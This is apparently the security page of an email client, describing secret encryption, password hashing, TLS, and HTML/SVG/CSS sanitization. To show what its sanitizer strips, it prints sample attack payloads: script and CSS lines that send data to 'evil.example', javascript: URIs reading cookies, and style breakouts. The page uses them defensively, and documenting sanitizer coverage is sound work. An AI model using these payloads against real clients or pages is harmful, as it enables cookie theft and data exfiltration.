Encrypted mail and agent credentials with isolated HTML and SVG rendering.

Zok Mail treats every incoming email payload as untrusted network input and encrypts every IMAP password, OAuth refresh token, and connected AI agent API key before a single byte touches SQLite on disk.

Four defense-in-depth boundaries from socket to screen.

Session cookies

Browser and webview sessions authenticate via HttpOnly, SameSite=Lax tokens hashed with SHA-256 in SQLite so raw bearer values are never stored at rest.

Password hashing

Workspace account passwords are derived using memory-hard scrypt with unique 16-byte cryptographic salts and constant-time digest verification in Rust.

Mail and agent secret vault

IMAP/SMTP credentials, OAuth2 refresh tokens, and connected agent keys (OpenAI, Anthropic, MCP tokens) are sealed with AES-256-GCM using fresh 96-bit nonces and verified 128-bit auth tags.

Verified TLS and local MCP boundary

Outbound IMAP and ESMTP sockets enforce certificate chain validation via rustls, while POST /api/mcp binds strictly to loopback or authenticated bearer tokens.

Deterministic HTML and inline SVG chart sanitization in Rust.

Zok Mail renders inline vector data charts safely without allowing script injection. Our Rust sanitizer strips executable tags, event handlers, <foreignObject>, and dangerous URL schemes while preserving clean typography and static geometry (<svg>, <rect>, <line>, <path>, <text>).

Untrusted inbound MIME HTML and SVG payload Blocked vectors
<div onclick="stealCookie()">
  <script>fetch("https://evil.example/exfil")</script>
  <p>Q4 ARR reached $23.8M.</p>
  <svg viewBox="0 0 200 80" onload="alert(1)">
    <foreignObject><iframe src="javascript:evil()"></iframe></foreignObject>
    <rect x="12" y="16" width="44" height="52" rx="6" fill="#2EB88A"/>
    <text x="34" y="12" font-size="11">$23.8M</text>
  </svg>
  <a href="javascript:alert(document.cookie)">Open deck</a>
</div>
Sanitized output rendered inside sandboxed reader Safe allowlist
<div>
  <p>Q4 ARR reached $23.8M.</p>
  <svg viewBox="0 0 200 80">
    <rect x="12" y="16" width="44" height="52" rx="6" fill="#2EB88A"></rect>
    <text x="34" y="12" font-size="11">$23.8M</text>
  </svg>
  <a rel="noopener noreferrer" target="_blank">Open deck</a>
</div>
Untrusted agent or imported Custom CSS payload Stripped breakouts
</style><script>window.__pwned = 1;</script>
@import url("https://evil.example/exfiltrate.css");
[data-slot="sidebar"] {
  background: rgba(18, 24, 42, 0.86);
  background-image: url(https://evil.example/beacon.png);
  width: expression(alert(1));
}
zok_core::sanitize_custom_css output (+ 1-click Reset to Pearl) Scoped [data-slot] CSS
[data-slot="sidebar"] {
  background: rgba(18, 24, 42, 0.86);
}
/* Breakouts, @import, external url(), expression(),
   -moz-binding, and behavior: stripped at storage
   and DOM boundaries. */

Cryptographic and runtime primitives ledger.

Subsystem Primitive / Crate Security guarantee
Mailbox and agent secret vault aes-gcm (AES-256-GCM, 96-bit IV) Authenticated encryption at rest; any ciphertext tampering fails GCM tag verification; API responses redact secrets to boolean hasSecret
Master key derivation ZOK_MASTER_KEY / HKDF-SHA256 256-bit key material loaded from environment, OS keychain, or enterprise KMS without writing plaintext secrets to SQLite
User password storage scrypt + subtle::ConstantTimeEq Memory-hard derivation resistant to GPU brute-force attacks with timing-safe verification
HTML and SVG email sanitizer zok_core::sanitize (Allowlist AST) Strips <script>, <iframe>, <object>, <foreignObject>, on* attributes, javascript:/data:text/html URIs, and remote tracking pixels by default
Scoped [data-slot] Custom CSS sanitizer zok_core::sanitize_custom_css Strips </style> breakouts, <script>, @import, @charset, external url(...) beacons, expression(), -moz-binding, and behavior: while preserving safe [data-slot] glass styling and 1-click POST /api/customize/reset
IMAP4rev1 and ESMTP transport tokio-rustls + webpki-roots Memory-safe TLS 1.2 and TLS 1.3 handshake verification; localhost self-signed certs require explicit per-account opt-in
15-tool MCP and SKILL.md boundary POST /api/mcp + allowedTools Explicit JSON-RPC 2.0 schema validation across all 15 MCP tools, per-skill allowedTools scoping, Supervised vs Full Customize mode gating, and zero arbitrary shell execution

Data ownership and portability

Your correspondence, calendar events, contacts, and agent threads live in a standard SQLite WAL file under your control, synced over open RFC 3501 IMAP, RFC 5321 SMTP, and RFC 5545 iCalendar protocols.

Deleting an account or disconnecting an agent harness permanently purges its AES-256-GCM ciphertext rows and FTS5 index entries in a single atomic transaction.

Responsible vulnerability disclosure

We welcome independent security research across our Rust MIME parser, HTML/SVG allowlist sanitizer, Tauri v2 bridge, and MCP tool server. Report findings to security@zokmail.org with 24-hour triage acknowledgment.

Security team PGP fingerprint
9F4A 2C81 E07B 44D2 8810  C3A9 71B5 0E64 D290 4F18